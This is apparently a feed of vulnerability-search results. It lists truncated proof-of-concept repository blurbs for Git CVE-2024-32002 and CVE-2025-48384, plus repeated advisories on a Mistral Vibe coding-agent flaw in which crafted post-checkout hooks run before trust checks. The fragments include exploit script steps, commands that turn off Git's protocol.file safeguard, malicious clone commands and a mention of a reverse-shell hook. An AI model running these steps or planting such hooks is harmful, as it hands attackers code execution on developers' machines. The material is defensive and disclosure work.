CVE-2024-32002-Exploit

!/bin/bash git init hook cd hook mkdir -p y/hooks cat y/hooks/post-checkout dotgit.txt git hash-object -w --stdin dot-git.hash printf "120000 %s 0\ta\n" "$cat dot-git.hash" index.info git update-index --index-info index.info git commit -m "add-symlink" git remote add origin...

hooky

hooky 이 리포지토리는 https://github.com/markuta/CVE-2024-32002의 서브모듈로, macOS 시스템에서 계산기를 열기 위해 y/hooks/post-checkout에 위치한 간단한 훅을 포함하고 있습니다. open -a Calculator.app 취약점에 대한 자세한 정보는 여기와 여기에서 확인할 수 있습니다...

git_rce

CVE-2024-32002 PoC 1. 다음과 같이 git의 심볼릭 링크 옵션을 설정해야 합니다: git config --global core.symlinks true 2. 그런 다음 다음 명령으로 CVE-2024-32002를 악용합니다: git clone --recursive https://github.com/EQSTSeminar/gitrce.git 공격 시나리오 kali192.168.216.129 --원격 저장소 주소 전달-- Win192.168.216.130 kali192.168.216.129 --Git clone 및...

CVE-2024-32002-EXP

CVE-2024-32002-EXP !/bin/bash Git 구성 옵션 설정 git config --global protocol.file.allow always git config --global core.symlinks true 경고 메시지 방지 기본 브랜치를 main으로 설정 git config --global init.defaultBranch main tell-tale 경로 정의 telltalepath="$PWD/tell.tale" hook 저장소 초기화 git init hook cd hook mkdir -p y/hook...

cve-2024-32002-submodule-rce

CVE-2024-32002 RCE 서브모듈 CVE-2024-32002를 시연하는 서브모듈입니다. 악성 커밋 훅을 부모 저장소의 .git 디렉터리에 로드하여 원격 코드 실행RCE을 시연합니다. 이 저장소를 활용하는 실제 POC는 cve-2024-32002-poc-rce를 참조하세요. 이 저장소가 포함하는 것 post-checkout이라는 악성 git 훅이 포함되어 있습니다. 이 훅은 클론이 완료된 직후 실행되며, Windows 또는 MacOS에서 계산기를 실행합니다. git 훅은 notexists/hooks 디렉토리 아래에...

CVE-2024-32002-poc

Bash Script: !/bin/bash Set Git configuration options git config --global protocol.file.allow always git config --global core.symlinks true Avoid warning messages set default branch to main git config --global init.defaultBranch main Define tell-tale path telltalepath="$PWD/tell.tale" Initialize...

hook

hook gitrce용 서브모듈: https://github.com/EQSTSeminar/gitrce 공격 시나리오 kali192.168.216.129 --원격 저장소 주소 전달-- Win192.168.216.130 kali192.168.216.129 --Git clone && hook 스크립트post-checkout 실행-- Win192.168.216.130 면책 조항 이 저장소는 CVE-2024-32002에 대한 git clone RCE 익스플로잇으로 사용하기 위한 것이 아닙니다. 이 프로젝트의 목적은 사람들이 이 취약점에...

CVE-2025-48384

CVE-2025-48384 PoC 주의사항 본 리포지토리는 보안 교육용으로 작성되었습니다. 악용은 삼가해주세요. 본 취약점은 디렉터리 이름에 \r을 포함해야 하므로, Linux/Unix 계열이 영향을 받습니다. 아래는 영향을 받는 Git 버전입니다. v2.43.x 계열 - v2.43.7 미만 v2.44.x 계열 - v2.44.4 미만 v2.45.x 계열 - v2.45.4 미만 v2.46.x 계열 - v2.46.4 미만 v2.47.x 계열 - v2.47.3 미만 v2.48.x 계열 - v2.48.2 미만 v2.49.x 계열 -...

CVE-2025-48384-submodule

CVE-2025-48384 서브모듈 이 서브모듈은 데모용 악성 post-checkout 훅을 포함하고 있습니다...

CVE-2024-32002

GIT RCE CVE-2024-32002 설명 | CVE-2024-32002 | https://www.tarlogic.com/blog/cve-2024-32002-vulnerability-git/ | 익스플로잇 | 먼저 git에 "calledrepo"와 "commandrepo" 리포지토리를 생성해야 합니다. | 피해자는 나중에 "git clone --recursive calledrepo.git"로 calledrepo를 호출하게 되며, 이는 commandrepo로 리디렉션되어 후크 스크립트를 실행합니다. | 이 bash 리버스쉘...

CVE-2024-32002

CVE-2024-32002 一个简单的概念验证，执行计算器（仅限 macOS 示例）。使用 git clone --recursive 命令时，此仓库还会拉取 https://github.com/markuta/hooky，其中包含一个 post-checkout 脚本。主要基于修复提交 t7406-submodule-update.sh 文件。 运行 注意 ：低于 2.45.1、2.44.1、2.43.4、2.42.2、2.41.1、2.40.2 和 2.39.4 的版本均受影响。 git clone --recursive...

EUVD-2026-83621

Mistral Vibe before 2.25.5 contains a remote code execution vulnerability in the worktree creation process that executes git hooks before trust validation. Attackers can supply a repository with a crafted post-checkout hook that executes arbitrary shell commands with the privileges of the user...

CVE-2026-93993

Mistral Vibe before 2.25.5 contains a remote code execution vulnerability in the worktree creation process that executes git hooks before trust validation. Attackers can supply a repository with a crafted post-checkout hook that executes arbitrary shell commands with the privileges of the user...

CVE-2026-93993 Mistral Vibe before 2.25.5 Remote Code Execution via git post-checkout

Mistral Vibe before 2.25.5 contains a remote code execution vulnerability in the worktree creation process that executes git hooks before trust validation. Attackers can supply a repository with a crafted post-checkout hook that executes arbitrary shell commands with the privileges of the user...

CVE-2026-93993 Mistral Vibe before 2.25.5 Remote Code Execution via git post-checkout

Mistral Vibe before 2.25.5 contains a remote code execution vulnerability in the worktree creation process that executes git hooks before trust validation. Attackers can supply a repository with a crafted post-checkout hook that executes arbitrary shell commands with the privileges of the user...

CVE-2026-93993

Mistral Vibe before 2.25.5 contains a remote code execution vulnerability in its worktree creation process . The root cause is that git hooks are executed before trust validation , allowing an attacker to supply a repository with a crafted post-checkout hook that runs arbitrary shell commands wit...

CVE-2026-93993 Mistral Vibe before 2.25.5 Remote Code Execution via git post-checkout

Mistral Vibe before 2.25.5 contains a remote code execution vulnerability in the worktree creation process that executes git hooks before trust validation. Attackers can supply a repository with a crafted post-checkout hook that executes arbitrary shell commands with the privileges of the user...

PT-2026-95877

Name of the Vulnerable Software and Affected Versions Mistral Vibe versions prior to 2.25.5 Description A remote code execution issue exists in the worktree creation process that executes git hooks before trust validation. An attacker can provide a repository containing a crafted post-checkout ho...

CVE-2026-93993: Inclusion of Functionality from Untrusted Control Sphere

Mistral Vibe before 2.25.5 contains a remote code execution vulnerability in the worktree creation process that executes git hooks before trust validation. Attackers can supply a repository with a crafted post-checkout hook that executes arbitrary shell commands with the privileges of the user...

Astra Linux – Vulnerability in Git

Git is a fast, scalable, distributed revision control system with an unusually rich command set. It offers both high-level operations and full access to its internal workings. When reading a config value, Git removes any trailing carriage return and line feed CRLF characters. When writing a confi...